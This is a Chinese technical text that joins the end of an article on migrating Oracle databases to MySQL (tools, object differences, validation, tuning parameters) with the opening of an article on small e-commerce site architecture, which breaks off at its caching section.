这是每天跑批之后生成的log,可以看出来把warning和error都列了出来,同时也对行数进行了统计。已经可以说是一个不错的小型产品了。可看出来6w条数据用了4s和load来比算是慢的,但是和Java之类的比算是快的了。 3、OGG 因为python开发的这一套东西虽然也不算太慢,但因为要自己用代码实现较强的逻辑,并且有些需求在Oracle的业务还没有完全下线之前要实时地同步到MySQL里来,所以我们又研究了一下OGG的做法。先提前说一下,OGG的应用场景就是那种要求实时并且可能需要回写数据的。 OGG的用法说起来很简单,只要配置好Oracle端,配置好MySQL端,然后对应的进程起起来就可以了。但用过OGG的人都知道配置一套OGG本身就很麻烦了,异构数据库之间再进行同步的话,调通并可用需要很久的配置时间,所以我大致说一下做法,除非真的有这种硬性需求,不然不推荐使用。 简单说一下用OGG的过程和注意事项: 1、 5.6版本需要12.1.2版本的OGG才支持 2、异构数据库之间不支持DDL复制 从Oracle同步到MySQL,属于异构架构,不支持DDL同步,包括添加和删除字段,添加和删除索引,重命名表,表分析统计数据。 若是涉及到源端和目标端DDL操作,需要进行源端和目标端同时手工操作。 3、必须要配置defgen,且文件必须放在相同的目录。 4、如果要是双向的话,就必须把MySQL端的binglog设置成row binlog_format: This parameter sets the format of the logs. It must be set to the value of ROW, which directs the database to log DML statements in binary format. Any other log format (MIXED or STATEMENT) causes Extract to abend. 5、GoldenGate对MySQL只支持InnoDB引擎。所以,在创建MySQL端的表的时候,要指定表为InnoDB引擎。 create table MySQL (name char(10)) engine=innodb; 4、MySQL Migration Toolkit OGG是Oracle官方推荐的工具,使用原理就是基于日志的结构化数据复制,通过解析源数据库在线日志或归档日志获得数据的增量变化,再将这些变化应用到目标数据库,那MySQL官方没有提供工具呢?答应是肯定的。 MySQL官方同样也提供一个用于异构之间的数据迁移工具,从MySQL到其它数据库,或者从其它数据库到MySQL都是可以的。这个工具就是MySQL Migration Toolkit。这个工具可以单独被下载,也被集成到了MySQL wrokbench里。不过如果单独下载的话 只有windows的版本。 这是一个基于Java的程序,所以依赖于jar包,使用它的第一步就是load一个odbc.jar。接着就可以把源端和目标端进行配置连接,选择要导入的对象(可以包含视图,但是一般有子查询的会报错),进行导入就可以了。 使用它的优点就是可以在MySQL端自动创建表,但有可能自动convert的类型若有问题,需要人为参与一下进行处理,比如Oracle中通常会对Timestamp类型的数据设置默认值sysdate,但在MySQL中是不能识别的。 缺点就是只有windows的平台有,在导大数据量时,极有可能就hang住了。所以个人感觉它的适用场景就是一次性导入的小批量的数据。 5、KETTLE 上面提到的几种工具都是一步一个坑使用过之后发现并没有尽善尽美,总有这样或者那样的不足,接下来我们来推荐的就是终级必杀的好用的etl工具:KETTLE。 它是一款纯Java编写的软件,就像它的名字(水壶)一样,是用来把各种数据放到一个壶里,然后以一种指定的格式流出。当然你也可以使用DS(datastage)或者Informatica。不过这两个是收费的,而kettle是免费开源的。 这里只介绍它最简单的能满足我们把数据从Oracle迁移到MySQL的功能。 同理,第一步把jar包load进去,不同的是,这次要load的是MySQL的jar包。需要注意的是,如果你的MySQL版本不同可能需要load不同的jar包。第二步同也是配置连接信息,保证你的源和目标都连接成功,最后一步就是简单的拖拖拽拽。最后run一下就可以了。 它的优点就是配置起来比OGG快,但是同样可以通过job做到实时同步,处理速度和Python旗鼓相当,却不用自己来写mapping关系,并且提供了图形化界面。也能和Migration Toolkit一样同时创建表(新增一个Java脚本),进行类型转换,但日志更详细。只是可能学习成本高一点,要看的懂一些Java报错方便调试。 接下来我们简单看一个demo: 我们运行spoon.sh之后可以打开这个界面。view一界显示了这个转换的名字、数据源、处理步骤等,中间区域是你拖拽出来的操作,一个输入,一个输出。这就是一个简单的数据迁移的所有步骤。 打开input的内容,就是很简单的一条SQL在哪个源数据库上抽取数据,当然这条SQL也可以是拖拽生成出来,类似于congos的拖拽生成报表。千万要注意的是,不要加分号! output的内容就显示丰富了很多,选择目标数据源,以及会自动的mapping列的信息,还有在迁移之间要不要先清空,迁移过程中如果遇到问题了会不会中止。 这里就是显示了它超越Migration tools的log最细粒度到行级别,可以更快地分析出问题。 这里则是详细的日志输出。一般如果定时跑批处理的话,把它重定向到具体的log里,然后当做发送邮件。 四、其它对象的迁移 上面用了很长的篇幅介绍了一下几种迁移的工具,每种迁移的方式都是各有千秋,在合适的场景下选择适合自己的方法进行操作。不过刚刚迁移的都是表和数据对象。我们都知道在数据库还有一些其它的对象,像视图、物化视图、存储过程、函数、包,或者一个索引,同样的SQL是不是也需要改写,都是我们需要考虑到的一个因素。 接下来我们来看一下其它对象怎么迁移。 1、view 在MySQL里view是不可以嵌套子查询的: create view v_test as select * from (select * from test) t; ERROR 1349 (HY000): View's SELECT contains a subquery in the FROM clause 解决方法就是view的嵌套: create view v_sub_test as select * from test; Query OK, 0 rows affected (0.02 sec) create view v_test as select * from v_sub_test; Query OK, 0 rows affected (0.00 sec) 2、物化视图 物化视图用于预先计算并保存表连接或聚集等耗时较多的操作结果,这样在执行查询时,就可以避免进行这些耗时的操作,而从快速得到结果。但是MySQL里没有这个功能。通过事件调度和存储过程模拟物化视图,实现的难点在于更新物化视图,如果要求实时性高的更新,并且表太大的话,可能会有一些性能问题。 3、Trigger、存储过程、package 1)Oracle创建触发器时允许or,但是MySQL不允许。所以迁移时如果有需要写两个。 2)两种数据库定义变量的位置不同,而且MySQL里不支持%type。这个在Oracle中用得太频繁了,是个好习惯。 3)elseif的逻辑分支语法不同,并且MySQL里也没有for循环。 4)在MySQL中不可以返回cursor,并且声明时就要赋对象。 5)Oracle用包来把存储过程分门别类,而且在package里可以定义公共的变量/类型,既方便了编程,又减少了服务器的编译开销。可MySQL里根本没有这个概念。所以MySQL的函数也不可以重载。 6)预定义函数。MySQL里没有to_char() to_date()之类的函数,也并不是所有的Oracle都是好的,就像substring()和load_file()这样的函数,MySQL有,Oracle却没有。 7)MySQL里可以使用set和=号给变量赋值,但不可以使用:=。 而且在MySQL里没 || 来拼接字符串。 8)MySQL的注释必须要求-- 和内容之间有一个空格。 9)MySQL存储过程中只能使用leave退出当前存储过程,不可以使用return。 10)MySQL异常对象不同,MySQL同样的可以定义和处理异常,但对象名字不一样。 4、分页语句 MySQL中使用的是limit关键字,但在Oracle中使用的是rownum关键字。所以每有的和分页相关的语句都要进行调整。 5、JOIN 如果你的SQL里有大量的(+),这绝对是一个很头疼的问题。需要改写。 6、group by语句 Oracle里在查询字段出现的列一定要出现在group by后面,而MySQL里却不用。只是这样出来的结果可能并不是预期的结果。造成MySQL这种奇怪的特性的归因于sql_mode的设置,一会会详细说一下sql_mode。不过从Oracle迁移到MySQL的过程中,group by语句不会有跑不通的情况,反过来迁移可能就需要很长的时间来调整了。 7、bitmap位图索引 在Oracle里可以利用bitmap来实现布隆过滤,进行一些查询的优化,同时这一特性也为Oracle一些数据仓库相关的操作提供了很好的支持,但在MySQL里没有这种索引,所以以前在Oracle里利于bitmap进行优化的SQL可能在MySQL会有很大的性能问题。 目前也没有什么较好的解决方案,可以尝试着建btree的索引看是否能解决问题。要求MySQL提供bitmap索引在MySQL的bug库里被人当作一个中级的问题提交了上去,不过至今还是没有解决。 8、分区表(Partitioned table) 需要特殊处理,与Oracle的做法不同,MySQL会将分区键视作主键和唯一键的一部分。为确保不对应用逻辑和查询产生影响,必须用恰当的分区键重新定义目标架构。 9、角色 MySQL8.0以前也没有role的对象。在迁移过程中如果遇到的角色则是需要拼SQL来重新赋权。不过MySQL更好的一点是MySQL的用户与主机有关。 10、表情和特殊字符 在Oracle里我们一般都选择AL32UTF8的字符集,已经可以支付生僻字和emoji的表情了,因为在迁移的时候有的表包含了大量的表情字符,在MySQL里设置了为utf8却不行,导过去之后所有的都是问号,后来改成了utf8mb4才解决问题,所以推荐默认就把所有的DB都装成utf8mb4吧。 Oracle和MySQL差异远远不止这些,像闪回、AWR这些有很多,这里只谈一些和迁移工作相关的。 五、数据校验 当数据迁移完成后,如何确保数据的正确迁移、没有遗漏和错误是一个很难的问题。这里的难不是实现起来困难,而是要把它自动化,达到节省人力的目标有点难,因为两者的数据类型不同,数据量偏大,写一些脚本去做检查效果不大。 我们的数据校检工作主要分为在导入过程中的log和警告,在load的时候SHOW WARNINGS和errors,在使用Python、OGG、Kettle等工具时详细去看每个errors信息。 1、count(*) 迁移或增量操作完成以后,用最简单的count(*)去检查,在MySQL和Oracle上检查进行比对。如果数据量一致,再进行数据内容的验证。由于数据量太大,只进行了抽样检测。人工的手动检验如果没有问题了,可以使用应用程序对生产数据库的副本进行测试,在备库上进行应用程序的测试,从而进行再一次的验检。 2、etl工具 另外推荐的一种方式就是使用etl工具配置好MySQL和Oracle的数据源,分别对数据进行抽取,然后生成cube,进行多纬度的报表展现。数据是否有偏差,可以一目了然看清。 数据的完整性验证是十分重要的,千万不要怕验证到错误后要花好长时候去抽取同步的操作这一步。因为一旦没有验证到错误,让数据进行了使用却乱掉了,后果将更严重。 3、SQL_MODE https://dev.MySQL.com/doc/refman/5.5/en/sql-mode.html MySQL服务器能够工作在不同的SQL模式下,针对不同的客户端,以不同的方式应用这些模式。这样应用程序就能对服务器操作进行量身定制,以满足自己的需求。这类模式定义了MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查。 TRADITIONAL 设置“严格模式”,限制可接受的数据库输入数据值(类似于其它数据库服务器),该模式的简单描述是当在列中插入不正确的值时“给出错误而不是警告”。 ONLY_FULL_GROUP_BY 在MySQL的sql_mode=default的情况下是非ONLY_FULL_GROUP_BY语义,也就是说一条select语句,MySQL允许target list中输出的表达式是除聚集函数、group by column以外的表达式,这个表达式的值可能在经过group by操作后变成undefined,无法确定(实际上MySQL的表现是分组内第一行对应列的值) select list中的所有列的值都是明确语义。 简单来说,在ONLY_FULL_GROUP_BY模式下,target list中的值要么是来自于聚集函数的结果,要么是来自于group by list中的表达式的值。 Without Regard to any trailing spaces All MySQL collations are of type PADSPACE. This means that all CHAR, VARCHAR, and TEXT values in MySQL are compared without regard to any trailing spaces. “Comparison” in this context does not include the LIKE pattern-matching operator, for which trailing spaces are significant. MySQL校对规则属于PADSPACE,MySQL对CHAR和VARCHAR值进行比较都忽略尾部空格,和服务器配置以及MySQL版本都没关系。 explicit_defauls_for_timestamp MySQL中TIMESTAMP类型和其它的类型有点不一样(在没有设置explicit_defaults_for_timestamp=1的情况下),在默认情况下,如果TIMESTAMP列没有显式的指明null属性,那么该列会被自动加上not null属性(而其他类型的列如果没有被显式的指定not null,那么是允许null值的),如果往这个列中插入null值,会自动设置该列的值为current timestamp值,表中的第一个TIMESTAMP列,如果没有指定null属性或者没有指定默认值,也没有指定ON UPDATE语句,那么该列会自动被加上DEFAULT 。 CURRENT_TIMESTAMP和ON UPDATE CURRENT_TIMESTAMP属性。第一个TIMESTAMP列之后的其它的TIMESTAMP类型的列,如果没有指定null属性,也没有指定默认值,那该列会被自动加上DEFAULT '0000-00-00 00:00:00'属性。如果insert语句中没有为该列指定值,那么该列中插入'0000-00-00 00:00:00',并且没有warning。 如果我们启动时在配置文件中指定了explicit_defaults_for_timestamp=1,MySQL会按照如下的方式处理TIMESTAMP列。 此时如果TIMESTAMP列没有显式的指定not null属性,那么默认的该列可以为null,此时向该列中插入null值时,会直接记录null,而不是current timestamp。并且不会自动的为表中的第一个TIMESTAMP列加上DEFAULT CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP属性,除非你在建表时显式的指明。 六、一些性能参数 我们可以在导入数据的时候预先的修改一些参数,来获取最大性能的处理,比如可以把自适应hash关掉,Doublewrite关掉,然后调整缓存区,log文件的大小,把能变大的都变大,把能关的都关掉来获取最大的性能,我们接下来说几个常用的: innodb_flush_log_at_trx_commit 如果innodb_flush_log_at_trx_commit设置为0,log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行。该模式下,在事务提交时,不会主动触发写入磁盘的操作。 如果innodb_flush_log_at_trx_commit设置为1,每次事务提交时MySQL都会把log buffer的数据写入log file,并且flush(刷到磁盘)中去。 如果innodb_flush_log_at_trx_commit设置为2,每次事务提交时MySQL都会把log buffer的数据写入log file。但是flush(刷到磁盘)的操作并不会同时进行。该模式下,MySQL会每秒执行一次 flush(刷到磁盘)操作。 注意:由于进程调度策略问题,这个“每秒执行一次 flush(刷到磁盘)操作”并不是保证100%的“每秒”。 sync_binlog sync_binlog 的默认值是0,像操作系统刷其它文件的机制一样,MySQL不会同步到磁盘中去,而是依赖操作系统来刷新binary log。 当sync_binlog =N (N>0) ,MySQL 在每写N次 二进制日志binary log时,会使用fdatasync()函数将它的写二进制日志binary log同步到磁盘中去。 注:如果启用了autocommit,那么每一个语句statement就会有一次写操作;否则每个事务对应一个写操作。 max_allowed_packet 在导大容量数据特别是CLOB数据时,可能会出现异常:“Packets larger than max_allowed_packet are not allowed”。这是由于MySQL数据库有一个系统参数max_allowed_packet,其默认值为1048576(1M),可以通过如下语句在数据库中查询其值:show VARIABLES like '%max_allowed_packet%'; 修改此参数的方法是在MySQL文件夹找到my.cnf文件,在my.cnf文件[MySQLd]中添加一行:max_allowed_packet=16777216 innodb_log_file_size InnoDB日志文件太大,会影响MySQL崩溃恢复的时间,太小会增加IO负担,所以我们要调整合适的日志大小。在数据导入时先把这个值调大一点。避免无谓的buffer pool的flush操作。但也不能把 innodb_log_file_size开得太大,会明显增加 InnoDB的log写入操作,而且会造成操作系统需要更多的Disk Cache开销。 innodb_log_buffer_size InnoDB用于将日志文件写入磁盘时的缓冲区大小字节数。为了实现较高写入吞吐率,可增大该参数的默认值。一个大的log buffer让一个大的事务运行,不需要在事务提交前写日志到磁盘,因此,如果你有事务比如update、insert或者delete 很多的记录,让log buffer 足够大来节约磁盘I/O。 innodb_buffer_pool_size 这个参数主要缓存InnoDB表的索引、数据、插入数据时的缓冲。为InnoDN加速优化首要参数。一般让它等于你所有的innodb_log_buffer_size的大小就可以, innodb_log_file_size要越大越好。 innodb_buffer_pool_instances InnoDB缓冲池拆分成的区域数量。对于数GB规模缓冲池的系统,通过减少不同线程读写缓冲页面的争用,将缓冲池拆分为不同实例有助于改善并发性。 总结 一定要选择合适你的迁移工具,没有哪一个工具是最好的。 数据的检验非常重要,有的时候我们迁过去很开心,校验时发生错误,这个时候必须要重来。 重复地迁移是很正常的,合乎每次迁移可能需要很长时间,总会是有错误的,要做好再迁的心态。 原文发布时间为:2017-04-28 本文来自云栖社区合作伙伴DBAplus
本文大纲: 1. 小型电商网站的架构 2. 日志与监控系统的解决方案 3. 构建数据库的主从架构 4. 基于共享存储的图片服务器架构 5. 移动M站建设 6. 系统容量预估 7. 缓存系统 一、小型电商网站的架构 刚从传统软件行业进入到电商企业时,觉得电商网站没有什么技术含量,也没有什么门槛,都是一些现有的东西堆积木似的堆出来罢了。然而,真正进入到这个行业之后,才发现并非如此。有人说过,好的架构,是演化出来的,电商网站的架构也是如此。现在好的电商网站,看似很复杂,很牛逼,其实也是从很小的架构,也是从没什么技术含量开始的。所以,架构的演化过程,就是在技术团队不断追求极致的过程。 今天就来总结小型电商网站的架构演进。一套电商系统最初期的架构,往往会采用一个比较典型的LAMP架构,前端加上Apache/PHP,后端是MySQL。这个算是比较流行的。不过,目前还有一套.net的技术架构,可能大家很少提到。很不幸,我就是在一个.net平台为基础的电商公司。所以,今天也是要总结.net 平台的电商架构。 1技术架构 一般初期的电商网站,基本就几个业务子系统:网站前台、商家前台、系统管理后台、App、M站等。业务量也不是很大。所以,MVC + 缓存 + 数据库基本就搞定了。 单就开发效率而言,.net MVC 的技术架构不会比LAMP开发速度慢。所以,一些企业,为了快速推出自己的电商平台,也会采用.net 架构。 2基础架构 上图为基础架构层面。这是一个很简单的基础架构。 前端网站和M站,考虑到访问量和系统的可用性,基本会采用分布式部署。通过代理服务器进行请求分发。 其它的业务子系统,像商家前台和管理系统,基本上都是单机或是主从部署。 各个DB ,Redis 服务和文件和图片服务,搜索引擎Solr服务等,采用主从部署。 3详细架构 整个系统架构里面,还有一个比较重要的组成部分,那就是监控系统。例如:流量监控、硬件监控、系统性能监控等, 还有就是对某个页面进行监控,设置页面的其中一块进行监控等。它是提高整个平台可用性的一个重要手段。多平台、多个维度的监控,能够确保系统的可用性。一旦出现异常,特别在硬件或者性能方面出现异常,监控系统也能立刻发出警告,这样也好防范于未然。 总而言之,一个好的系统架构应该从扩展性、安全性、性能和可靠性来考虑。罗马不是一天建成的,架构适合就行,可以先行之而后优。通过渐进演化的过程,逐步让系统越来越完善。 二、日志与监控系统的解决方案 监控系统主要用于服务器集群的资源和性能监控,以及应用异常、性能监控、日志管理等多维度的性能监控分析。一个完善的监控系统和日志系统对于一个系统的重要性不必多说。总之,只有实时了解各系统的状态,才能保证各系统的稳定。 如上图所示,监控平台监控的范围很广,从服务器性能及资源,到应用系统的监控。每个公司都有特定的平台统一监控的需求及解决方案,但监控平台的任务和作用基本是一致的。 1日志 日志是监视程序运行的一种重要的方式,主要有两个目的:1.bug的及时发现和定位;2.显示程序运行状态。 正确详细的日志记录能够快速的定位问题。同样,通过查看日志,可以看出程序正在做什么,是不是按预期的设计在执行,所以记录下程序的运行状态是必要的。这里将日志分为两种:1.异常日志;2.运行日志。 我们主要是使用log4net,将各个系统的日志,持久化记录到数据库或者文件中,以方便后续的系统异常监控和性能分析。如何集成log4net,这里不多说。 日志记录的几个原则: 日志级别一定要区分清楚,哪些属于error、warning、info等。 记录错误的位置。如果是分层系统,一定要在某个层统一处理,例如我们的MVC架构,都是在各个Action中Catch异常并处理,而业务层和数据库层这些地方的异常,都是Catch到异常后,往上一层抛。 日志信息清晰准确有意义,日志尽量详细点,以方便处理。应该记录相关系统、模块、时间、操作人、堆栈信息等。方便后续处理。 2监控 监控系统是一个复杂的系统平台,目前有很多的开源产品和平台。不过我们平台小,监控任务和需求少,所以基本都是自己开发。主要有这五个方面:1.系统资源;2.服务器;3.服务;4.应用异常;5.应用性能。 具体的架构图如下: 1)系统资源监控 监控各种网络参数和各服务器相关资源(CPU、内存、磁盘读写、网络、访问请求等),保证服务器系统的安全运营,并提供异常通知机制以让系统管理员快速定位/解决存在的各种问题。目前比较流行的应该是Zabbix。 2)服务器监控 服务器的监控,主要是监控各个服务器、网络节点、网关等网络设备的请求响应是否正常。通过定时服务,定时去Ping各个网络节点设备,以确认各网络设备是否正常。如果哪个网络设备出现异常,则发出消息提醒。 3)服务监控 服务监控,指的是各个Web服务、图片服务、搜索引擎服务、缓存服务等平台系统的各项服务是否正常运行。可以通过定时服务,每隔一段时间,就去请求相关的服务,以确保平台的各项服务正常运行。 4)应用异常监控 目前我们平台所有系统的异常记录,都记录在数据库中。通过定时服务,统计分析一段时间之内的异常记录。如果发现有相关重要的模块的系统异常,比如支付、下单模块频繁发生异常,则立即通知相关人员处理,确保服务正常运行。 5)应用性能监控 在API接口和各应用的相关位置进行拦截和记录下程序性能(SQL性能,或是 程序执行效率)。相关重要模块提供性能预警,提前发现问题。 同时统计相关监控信息并显示给开发的人员,以方便后续的性能分析。 三、构建数据库的主从架构 发展到大型成熟的公司之后,主从架构可能就有点落伍了,取而代之的是更加复杂的数据库集群。但作为一个小型电商公司,数据库的主从架构应该是最基础的。任何大型的系统架构,都是不断演进的。主从架构便是数据库架构中最基础的架构。所以研究完主从架构,也就能看懂更加复杂的架构了。 首先为什么要读写分离? 对于一个小型网站,可能单台数据库服务器就能满足需求。但在一些大型的网站或者应用中,单台的数据库服务器可能难以支撑大的访问压力,升级服务器性能成本又太高,所以必须要横向扩展。还有就是,单库的话,读、写都是操作一个数据库。数据多了之后,对数据库的读、写性能就会有很大影响。同时对于数据安全性和系统的稳定性也是挑战。 数据库的读写分离的好处? 将读操作和写操作分离到不同的数据库上,避免主服务器出现性能瓶颈; 主服务器进行写操作时,不影响查询应用服务器的查询性能,降低阻塞,提高并发; 数据拥有多个容灾副本,提高数据安全性,同时当主服务器故障时,可立即切换到其他服务器,提高系统可用性。 读写分离的基本原理就是让主数据库处理事务性增、改、删操作(Insert、Update、Delete)操作,而从数据库处理Select查询操作。数据库复制被用来把事务性操作导致的变更同步到其它从数据库。 以SQL为例,主库负责写数据、读数据。读库仅负责读数据。每次有写库操作,同步更新到读库。写库就一个,读库可以有多个,采用日志同步的方式实现主库和多个读库的数据同步。 1SQL Server 读写分离的配置 SQL Server提供了三种技术,可以用于主从架构之间的数据同步的实现:日志传送、事务复制和SQL 2012 中新增的功能Always On 技术。各自优劣,具体的大家自己去百度吧,这里提供网上的朋友的配置方式,仅供参考。 日志传送:SQL Server 2008 R2 主从数据库同步 (链接:http://www.it165.net/database/html/201306/4088.html) 事务复制:SQL Server 复制:事务发布 (链接:http://www.cnblogs.com/gaizai/p/3305879.html) (图源:网络) 2C# 数据库读写操作 C#的请求数据库操作,单数据库和主从架构的数据库还是不一样的。主从架构的数据库,为了保证数据一致性,一般主库可读可写,从库只负责读,不负责写入。所以,实际C#在请求数据库时,要进行区别对待。 最简单的就是:配置两个数据库连接,然后在各个数据库调用的位置,区分读写请求相应的数据库服务器,如下图: 第二种解决方案就是判断SQL语句是写语句(Insert 、Update、Create、 Alter)还是读语句(Select)。 Demo下载:http://files.cnblogs.com/files/zhangweizhong/Weiz.DB.rar (PS:此Demo为本人总结,跟实际生产中的DLL 不太相同,但原理是一样的,大家总结封装吧) 同时,增加相关的数据库配置 四、基于共享存储的图片服务器架构 在当前这个互联网的时代,不管何种网站,对图片的需求量越来越大。尤其是电商网站,几乎都会面临到海量图片资源的存储、访问等相关技术问题。在对图片服务器的架构、扩展、升级的过程中,肯定也会碰到各种各样的问题与需求。当然这并不代表,你就必须得弄一个特别NB的图片服务架构,只要简单、高效、稳定就行。这部分我们来总结一个特别简单、高效的图片服务架构:通过共享存储的方式来实现图片服务架构。 然而,也有一些人问我,现在大型网站的图片服务器的架构已经完全不是这样了,别人家的图片系统比你这个牛逼多了,为啥不直接写那个呢? 事实是:第一,大型牛逼的系统我也不会;第二, 再牛逼的系统也是从小的架构演化过去的,没有一步到位的。这里介绍图片服务器架构虽然比较简单,但也是经过了单机时代的演化了,基本上可以满足中小型分布式网站的需求。这种架构的搭建和学习成本都极低,符合目前“短平快”的开发模式。 通过共享目录的方式实现共享存储 ,在共享目录文件服务器上配置独立域名,这样可以将图片服务器和应用服务器进行分离,来实现独立图片服务器。 优点: 1. 将图片服务和应用服务分离,缓解应用服务器的I/O负载。 2. 通过共享目录的方式来进行读写操作,可以避免多服务器之间同步相关的问题。 3. 相对来讲很灵活,也支持扩容/扩展。支持配置成独立图片服务器和域名访问,方便日后的扩展和优化。 4. 相对于更加复杂的分布式的NFS系统,这种方式是性价比高,符合目前互联网的“短平快”的开发模式。 缺点 : 1. 共享目录配置有些繁琐。 2. 会造成一定的(读写和安全)性能损失。 3. 如果图片服务器出现问题,那所有的应用都会受到影响。同时也对存储服务器的性能要求特别高。 4. 图片上传操作,还是得经过Web服务器,这对Web服务器还是有巨大的压力。 架构非常简单,基本架构如下图所示: 在存储服务器上建立一个共享目录(具体方式,我就不去重复了,自己百度吧,注意共享目录的文件安全)。 各个应用直接通过共享目录(\\192.168.1.200),将图片上传到存储服务器上。 建立一个Web站点(i1.abc.com)将该共享目录通过Web站点发布出去。这样其它的应用就能访问到相关图片。 所以,各应用将文件上传到共享目录 //保存原图 //完整的地址:\\192.168.1.200\lib\2016\03\04\10\IMG\4ugvvt6m9gdu.jpg relativePath = relativeDir + fileName + imageExtension; var absolutePath = ConfigHelper.SharePath + relativePath; fileData.SaveAs(absolutePath); 上传成功后,可直接通过web 的方式访问: http://i1.abc.com/lib/2016/03/04/10/IMG/4ugvvt6m9gdu.jpg 五、移动M站建设 最近在一直在搞M站,也就是移动Web站点。由于是第一次,也遇到了很多问题,所以把最近了解到的东西总结一番。聊一聊什么是移动M站,以及它有什么作用和优势。 有人会问,M站和APP有什么不同? APP直接在用户的移动设备上,曝光率相对较高。 而M站需打开浏览器,输入地址才能访问,所以曝光率相对较低。 M站的推广的渠道相比移动APP,渠道较多,方便追踪用户来源、流量入口等,方便以后的活动推广和数据分析。 M站用户无需安装,输入URL即可访问,而APP需要下载安装。 M站能够快速地通过数据分析,能快速得到用户的反馈,从而更容易根据统计数据分析和用户的需求来调整产品。 APP对用户更具粘性及用户体验也更好。 M站对于营销推广活动非常方便,转发分享方便快捷。 M站更新迭代产品速度和响应产品调整非常快,随时发布,而APP需要审核时间。 M站跨平台,无需开发安卓和iOS版,只需有浏览器即可。 所以, 我觉得,M站和客户端是相辅相成的。M站的及时性和快捷性,是APP无法比拟的。而APP的用户体验,则是M站无法做到的。目前来说两者是不可能被对方完全替代的,在互联网营销大行其道的今天,M站也越来越重要。营销活动大多以H5页面的形式展示和传播。通过M站的营销和推广,从而又促进APP的使用和推广。 目前,移动M站有倾向APP的趋势。M站会越来越像个APP,使得M站也越来越重要。而且,很多APP的展示效果,在原生代码无法实现的时候,嵌套移动H5页面也是一个很好的选择。 下面介绍几个移动M站建设的要点: 151Degree 51Degrees号称是目前最快、最准确的设备检测的解决方案。它是一个免费开源的.NET移动应用开发组件,可以用来检测移动设备和浏览器。甚至可以获取屏幕尺寸、输入法、加上制造商和型号信息等。从而可以选择性地被定向到为移动设备而设计的内容。由于拥有精确的移动设备的数据,所以几乎支持所有的智能手机,平板电脑等移动设备。 其实说白了,51Degree的作用就是识别客户端的设备。PC浏览器访问,就跳转到PC站,手机浏览器访问就跳转到M站。从而达到更好的用户体验。 如何将51Degree加入到现有网站? http://51degrees.codeplex.com/wikipage?title=Enhance%20existing%20web%20site 2架构 移动Web和传统的Web其实并没有本质的区别。说白了还是一个Web站点,使用的技术都是Html+CSS+JS。不同的是,只不过目前在Html5的大趋势下,将Html5加入到了移动M站,使得M站更像个轻APP。 3Bootstrap Bootstrap就不多说了,网上有很多Bootstrap的资料。它最大的优势应该就是非常流行,非常容易上手。如果缺少专业的设计或美工,那么Bootstrap是一个比较好的选择。他的用法极其简单,几乎没什么学习成本,绝对是快速开发的利器。 官网:http://getbootstrap.com/ Github:https://github.com/twbs/bootstrap/ 4几点建议 移动M站的URL要尽量和PC相同,这是可以避免同一URL在PC站可以显示,但是在手机上打开却是404; M站写单独的TDK。 六、系统容量预估 电商公司的朋友,这样的场景是否似曾相识: 运营和产品神秘兮兮的跑过来问:我们晚上要做搞个促销,服务器能抗得住么?如果扛不住,需要加多少台机器? 于是,技术一脸懵逼。 其实这些都是系统容量预估的问题,容量预估是架构师必备的技能之一。所谓,容量预估其实说白了就是系统在Down掉之前,所能承受的最大流量。这个是技术人员对于系统性能了解的重要指标。常见的容量评估包括流量、并发量、带宽、CPU、内存 、磁盘等一系列内容。这部分来聊一聊容量预估的问题。 1几个重要参数 QPS:每秒钟处理的请求数。 并发量: 系统同时处理的请求数。 响应时间: 一般取平均响应时间。 很多人经常会把并发数和QPS给混淆了。其实只要理解了上面三个要素的意义之后,就能推算出它们之间的关系:QPS = 并发量 / 平均响应时间。 2容量评估的步骤与方法 1)预估总访问量 如何知道总访问量?对于一个运营活动的访问量评估,或者一个系统上线后PV的评估,有什么好方法? 最简单的办法就是:询问业务方,询问运营同学,询问产品同学,看产品和运营对此次活动的流量预估。 不过,业务方对于流量的预估,应该就PV和用户访问数这两个指标。技术人员需要根据这两个数据,计算其他相关指标,比如QPS等。 2)预估平均QPS 总请求数=总PV*页面衍生连接数 平均QPS = 总请求数/总时间 比如:活动落地页1小时内的总访问量是30w PV,该落地页的衍生连接数为30,那么落地页的平均QPS=(30w*30)/(60*60)=2500。 3)预估峰值QPS 系统容量规划时,不能只考虑平均QPS,还要考虑高峰的QPS,那么如何评估峰值QPS呢? 这个要根据实际的业务评估,通过以往的一些营销活动的PV等数据进行预估。一般情况下,峰值QPS大概是均值QPS的3-5倍,如果日均QPS为1000,于是评估出峰值QPS为5000。 不过,有一些业务会比较难评估业务访问量,例如“秒杀业务”,这类业务的容量评估暂时不在此讨论。 4)预估系统、单机极限QPS 如何预估一个业务,一个服务器单机的极限QPS呢? 这个性能指标是服务器最基本的指标之一,所以除了压力测试没有其他的办法。通过压力测试,算出服务器的单机极限QPS 。 在一个业务上线前,一般都需要进行压力测试(很多创业型公司,业务迭代很快的系统可能没有这一步,那就悲剧了),以APP推送某营销活动为例(预计日均QPS为1000,峰值QPS为5000),业务场景可能是这样的: 通过APP推送一个活动消息; 运营活动H5落地页是一个Web站点; H5落地页由缓存Cache和数据库DB中的数据拼装而成。 通过压力测试发现,Web服务器单机只能抗住1200的QPS,Cache和数据库DB能抗住并发压力(一般来说,1%的流量到数据库,数据库120 QPS还是能轻松抗住的,Cache的话QPS能抗住,需要评估Cache的带宽,这里假设Cache不是瓶颈),这样,我们就得到了Web单机极限的QPS是1200。一般来说,生产系统不会跑满到极限的,这样容易影响服务器的寿命和性能,单机线上允许跑到QPS1200*0.8=960。 扩展说一句,通过压力测试,已经知道Web层是瓶颈,则可针对Web相关的方面做一些调整优化,以提高Web服务器的单机QPS 。 还有压力测试工作中,一般是以具体业务的角度进行压力测试,关心的是某个具体业务的并发量和QPS。 5)回答最开始那两个问题 需要的机器=峰值QPS/单机极限QPS 好了,上述已经得到了峰值QPS是5000,单机极限QPS是1000,线上部署了3台服务器: 服务器能抗住么? -> 峰值5000,单机1000,线上3台,扛不住 如果扛不住,需要加多少台机器? -> 需要额外2台,提前预留1台更好,给3台保险 3总结 需要注意的是,以上都是计算单个服务器或是单个集群的容量。实际生产环境是由Web、消息队列、缓存、数据库等等一系列组成的复杂集群。在分布式系统中,任何节点出现瓶颈,都有可能导致雪崩效应,最后导致整个集群垮掉 (“雪崩效应”指的是系统中一个小问题会逐渐扩大,最后造成整个集群宕机)。 所以,要了解规划整个平台的容量,就必须计算出每一个节点的容量。找出任何可能出现的瓶颈所在。 七、缓存系统 